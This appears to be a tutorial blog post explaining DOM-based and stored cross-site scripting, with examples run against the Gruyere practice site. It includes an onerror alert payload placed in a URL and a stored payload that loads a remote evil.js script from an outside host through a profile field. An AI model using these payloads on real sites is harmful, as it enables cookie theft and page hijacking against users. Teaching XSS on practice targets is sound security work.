DOM Based XSS

We have discussed about DOM Based XSS in our previous posts . An Overview is as below:

The DOM enables dynamic scripts such as JavaScript to reference components of the document such as a form field or a session cookie. The DOM is also used by the browser for security - for example to limit scripts on different domains from obtaining session cookies for other domains.

An Example of DOM based XSS attack is displayed below:

 In the Screenshot below i have uploaded a Series of images on to the test website

The URL of the image displayed here is
http://google-gruyere.appspot.com/757573336816/user/3.jpg 

Here in the address bar i have entered
http://google-gruyere.appspot.com/757573336816/user><img src=x onerror=alert(/DOM-XSS/)>


Here the URL has been modified to execute the sample script

Here as test website  couldn't find the image on the prescribed path it displayed an error , but in the process of displaying the image the script has been executed.


So in this way one can test his application for DOM based  XSS vulnerability

Stored XSS

What exactly is Stored XSS?? 

 

The persistent (or stored) XSS vulnerability is a devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping.



Persistent XSS can be more significant than other types because an attacker's malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, or a webpage where comments can be posted the code would be further designed to self-propagate across accounts, creating a type of a client-side
The methods of injection can vary a great deal; in some cases, the attacker may not even need to directly interact with the web functionality itself to exploit such a hole. Any data received by the web application (via email, system logs, IM etc.) that can be controlled by an attacker could become an injection vector.





Here we will see an example of how a persistent XSS attack can be performed.

Note: All of these attacks are made on Gruyere , which is an educational website

Sample URL:
<img src=1 onerror="s=document.createElement('script');s.src='//xss-doc.appspot.com/static/evil.js';document.body.appendChild(s);"

I am going to upload this in "About me" section. which will be stores in server 



so the sample script has been uploaded on server

Now lets check what's the impact of it


Now this is what happens. This is just an example how an attacker can input malicious script which can destroy a webpage , steal sensitive info .

In the next blog we will learn more... Till then browse safe !!!:)